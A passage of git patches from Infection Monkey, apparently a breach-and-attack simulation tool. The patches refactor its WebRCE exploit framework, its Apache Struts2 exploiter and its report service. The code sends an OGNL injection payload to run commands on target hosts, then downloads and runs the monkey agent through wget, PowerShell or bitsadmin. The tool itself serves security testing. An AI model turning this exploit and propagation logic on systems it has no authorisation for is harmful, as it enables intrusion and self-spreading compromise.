An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" } } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index ba2fc56b3..159e52476 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -442,7 +442,7 @@ class ReportService: cross_segment_issues = [] subnet_groups = ConfigService.get_config_value( - ['basic_network', 'network_analysis', 'inaccessible_subnet_groups']) + ['basic_network', 'network_analysis', 'inaccessible_subnets']) for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) From 911404ef680a1d59a6905104e89a93730f913823 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:34:59 +0300 Subject: [PATCH 082/137] Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params --- infection_monkey/exploit/web_rce.py | 89 ++++++++++++++++++----------- 1 file changed, 56 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index bb4613b1f..777b256bd 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -# Commands used to check if monkeys already exists +# Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" +POWERSHELL_NOT_FOUND = "owershell is not recognized" +# Constants used to refer to windows architectures( used in host.os['machine']) +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } @@ -35,7 +39,22 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Example workflow of the framework. Most likely you will have to override this method. + Override this method to pass custom arguments to default_exploit_host + :return: True if exploited, False otherwise + """ + return self.default_exploit_host() + + def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, + stop_checking_urls=False, blind_exploit=False): + """ + Standard framework usage (call this method in exploit_host function): + :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + it's file to the default destination path. + :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. :return: True if exploited and False otherwise. """ # Get open ports @@ -43,27 +62,29 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports) + urls = self.build_potential_urls(ports, url_extensions) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) + if stop_checking_urls: + break self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False # Skip if monkey already exists and this option is given - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not self.set_host_arch(vulnerable_urls[0]): + if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0], upload_commands) if data is not False and data['response'] is False: return False @@ -73,7 +94,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: return False return True @@ -113,16 +134,16 @@ class WebRCE(HostExploiter): return True def get_command(self, path, http_path, commands): - if 'linux' in self.host.os['type']: - command = commands['linux'] - else: - command = commands['windows'] - # Format command try: + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command command = command % {'monkey_path': path, 'http_path': http_path} except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") + LOG.error("Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands.") return False return command @@ -193,9 +214,9 @@ class WebRCE(HostExploiter): resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: - return "64" + return WIN_ARCH_64 else: - return "32" + return WIN_ARCH_32 else: return False @@ -280,7 +301,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) @@ -334,7 +355,7 @@ class WebRCE(HostExploiter): # Get monkey command line if dropper and path: # If dropper is chosen we try to move monkey to default location - default_path = self.custom_to_dropper_path(path) + default_path = self.get_default_dropper_path() if default_path is False: return False monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) @@ -386,19 +407,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False - def custom_to_dropper_path(self, path): - try: - key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] - except KeyError: - LOG.error("The path you used is not in monkey_target_paths array. Skipping") + def get_default_dropper_path(self): + """ + Gets default dropper path for the host. + :return: Default monkey's destination path for corresponding host. + E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host + """ + if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + LOG.error("Target's OS was either unidentified or not supported. Aborting") return False - if key == 'linux': + if self.host.os['type'] == 'linux': return self._config.dropper_target_path_linux - elif key == 'win32': - return self._config.dropper_target_path_win_32 - elif key == 'win64': - return self._config.dropper_target_path_win_64 - else: - LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " - "custom dict of monkey's destination paths") - return False + if self.host.os['type'] == 'windows': + try: + if self.host.os['machine'] == WIN_ARCH_64: + return self._config.dropper_target_path_win_64 + except KeyError: + LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + return self._config.dropper_target_path_win_32 From 369795e3751754b5723adf8ad907b533c843df71 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 21 Aug 2018 17:17:21 +0300 Subject: [PATCH 083/137] small fixes to make everything work --- monkey_island/cc/services/report.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index a49708c81..192d7d140 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -488,14 +488,14 @@ class ReportService: return cross_segment_issues @staticmethod - def get_cross_segement_issues(): + def get_cross_segment_issues(): scans = mongo.db.telemetry.find({'telem_type': 'scan'}, {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) cross_segment_issues = [] - subnet_groups = ConfigService.get_config_value( - ['basic_network', 'network_analysis', 'inaccessible_subnets']) + # For now the feature is limited to 1 group. + subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) @@ -504,11 +504,10 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ ISSUE_GENERATORS = [ ReportService.get_exploits, ReportService.get_tunnels, - ReportService.get_cross_segment_issues, + ReportService.get_island_cross_segment_issues, ReportService.get_azure_issues ] @@ -622,7 +621,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() - cross_segment_issues = ReportService.get_cross_segement_issues() + cross_segment_issues = ReportService.get_cross_segment_issues() report = \ { From eae3f3440d4d383e7ac0d0e547a2a3a691c75f05 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:33:36 +0300 Subject: [PATCH 084/137] Refactored exploit_host and added get_exploit_config --- infection_monkey/exploit/web_rce.py | 56 ++++++++++++++++++----------- 1 file changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 777b256bd..c907ca08e 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,37 +37,51 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + @staticmethod + def get_exploit_config(): + """ + Method that creates a dictionary of configuration values for exploit + :return: configuration dict + """ + exploit_config = dict() + + # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # it's file to the default destination path. + exploit_config['dropper'] = False + + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + exploit_config['upload_commands'] = None + + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + exploit_config['url_extensions'] = None + + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + exploit_config['stop_checking_urls'] = False + + # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + exploit_config['blind_exploit'] = False + + return exploit_config + def exploit_host(self): """ Override this method to pass custom arguments to default_exploit_host :return: True if exploited, False otherwise """ - return self.default_exploit_host() - - def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, - stop_checking_urls=False, blind_exploit=False): - """ - Standard framework usage (call this method in exploit_host function): - :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy - it's file to the default destination path. - :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} - Command must have "monkey_path" and "http_path" format parameters. - :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. - :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. - :return: True if exploited and False otherwise. - """ + # We get exploit configuration + exploit_config = self.get_exploit_config() # Get open ports ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, url_extensions) + urls = self.build_potential_urls(ports, exploit_config['url_extensions']) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) - if stop_checking_urls: + if exploit_config['stop_checking_urls']: break self._exploit_info['vulnerable_urls'] = vulnerable_urls @@ -75,16 +89,16 @@ class WebRCE(HostExploiter): return False # Skip if monkey already exists and this option is given - if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], upload_commands) + data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False @@ -94,7 +108,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True From e1b1236fb3bdb0cdd5ccbef739d9b3e55b20eaa3 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:41:17 +0300 Subject: [PATCH 085/137] Comments and CR notes fixed --- infection_monkey/exploit/web_rce.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c907ca08e..4eaefc3b3 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -5,7 +5,7 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' @@ -24,7 +24,8 @@ class WebRCE(HostExploiter): def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack - :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + :param monkey_target_paths: Where to upload the monkey at the target host system. + Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration @@ -66,7 +67,7 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Override this method to pass custom arguments to default_exploit_host + Method that contains default exploitation workflow :return: True if exploited, False otherwise """ # We get exploit configuration @@ -424,7 +425,7 @@ class WebRCE(HostExploiter): def get_default_dropper_path(self): """ Gets default dropper path for the host. - :return: Default monkey's destination path for corresponding host. + :return: Default monkey's destination path for corresponding host or False if failed. E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): From 3e7d7425e4f608562ec667b88170b472ede04b8b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 16:01:16 +0300 Subject: [PATCH 086/137] made get_exploit_config non-static for readability --- infection_monkey/exploit/web_rce.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 4eaefc3b3..0b4d041a1 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -38,8 +38,7 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @staticmethod - def get_exploit_config(): + def get_exploit_config(self): """ Method that creates a dictionary of configuration values for exploit :return: configuration dict From bbd4adf2aef1d798e2573cd2c2a26f82ea1117ea Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:42:01 +0300 Subject: [PATCH 087/137] Struts2 core functions --- infection_monkey/exploit/struts2.py | 201 +++++----------------------- 1 file changed, 36 insertions(+), 165 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index c489a3784..395fe422a 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -9,11 +9,8 @@ import unicodedata import re import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG +from web_rce import WebRCE +import copy __author__ = "VakarisZ" @@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -# Commands used to check if monkeys already exists -FIND_FILE = "ls %s" -class Struts2Exploiter(HostExploiter): +class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports) + vulnerable_urls = [] + for url in urls: # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = FIND_FILE % path - resp = self.exploit(host, command) - if 'No such file' in resp: + url = self.get_redirected(url) + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - else: + # We need to escape backslashes for our exploiter + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) + config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: return False + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + @staticmethod def get_redirected(url): # Returns false if url is not right @@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter): LOG.error("Can't reach struts2 server") return False - @staticmethod - def exploit(url, cmd): + def exploit(self, url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host @@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter): page = e.partial return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports From 6cb058eb1d325c05687caa704d8e82c43818ef1f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:04:23 +0300 Subject: [PATCH 088/137] Struts2 refactored for framework fixes --- infection_monkey/exploit/struts2.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 395fe422a..2b672f290 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -26,45 +26,39 @@ class Struts2Exploiter(WebRCE): super(Struts2Exploiter, self).__init__(host) def exploit_host(self): - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports) + urls = self.build_potential_urls(ports) vulnerable_urls = [] for url in urls: # Get full URL url = self.get_redirected(url) - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # We need to escape backslashes for our exploiter - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) - config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0]) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True @@ -86,6 +80,8 @@ class Struts2Exploiter(WebRCE): :param cmd: Code to try and execute on host :return: response """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ From 9ef44ef71f35cef2c3322cfdfc43ca2ca0b15d67 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:31:50 +0300 Subject: [PATCH 089/137] Struts2 refactored to use default_exploit_host function --- infection_monkey/exploit/struts2.py | 65 +++++++++++++---------------- 1 file changed, 28 insertions(+), 37 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 2b672f290..387c4bfa8 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,7 @@ import re import logging from web_rce import WebRCE -import copy +from posixpath import join __author__ = "VakarisZ" @@ -23,45 +23,36 @@ class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) + super(Struts2Exploiter, self).__init__(host, None) def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports) - vulnerable_urls = [] - for url in urls: - # Get full URL - url = self.get_redirected(url) - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + return self.default_exploit_host(dropper=True) - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - data = self.upload_monkey(vulnerable_urls[0]) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + redirected_url = self.get_redirected(url) + url_list.append(redirected_url) + if not url_list: + LOG.info("No attack url's were built") + return url_list @staticmethod def get_redirected(url): From df4b1268d13f55218c3354bb6f827c1382f48870 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 14:33:00 +0300 Subject: [PATCH 090/137] Refactored struts2 to overload get_exploit_config --- infection_monkey/exploit/struts2.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 387c4bfa8..f6ede586f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -25,8 +25,10 @@ class Struts2Exploiter(WebRCE): def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) - def exploit_host(self): - return self.default_exploit_host(dropper=True) + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config def build_potential_urls(self, ports, extensions=None): """ @@ -47,7 +49,7 @@ class Struts2Exploiter(WebRCE): protocol = "https" else: protocol = "http" - url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) redirected_url = self.get_redirected(url) url_list.append(redirected_url) if not url_list: From cdc576e77e654485db0cd33a09a739552eb7fd0d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 22 Aug 2018 19:31:26 +0300 Subject: [PATCH 091/137] Make mimikatz inside zip and extract only if config says so --- infection_monkey/config.py | 3 +- infection_monkey/exploit/sambacry.py | 7 +-- infection_monkey/exploit/tools.py | 7 --- infection_monkey/monkey.spec | 31 ++++++++--- infection_monkey/pyinstaller_utils.py | 24 +++++++++ infection_monkey/readme.txt | 6 ++- .../system_info/mimikatz_collector.py | 31 +++++++++-- .../system_info/windows_info_collector.py | 13 +++-- infection_monkey/utils.py | 1 + monkey_island/cc/services/config.py | 51 +++++++++---------- 10 files changed, 119 insertions(+), 55 deletions(-) create mode 100644 infection_monkey/pyinstaller_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..8b458bd02 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -273,13 +273,12 @@ class Configuration(object): # system info collection collect_system_info = True + should_use_mimikatz = True ########################### # systeminfo config ########################### - mimikatz_dll_name = "mk.dll" - extract_azure_creds = True diff --git a/infection_monkey/exploit/sambacry.py b/infection_monkey/exploit/sambacry.py index 930cd8854..bddac84a1 100644 --- a/infection_monkey/exploit/sambacry.py +++ b/infection_monkey/exploit/sambacry.py @@ -19,7 +19,8 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from 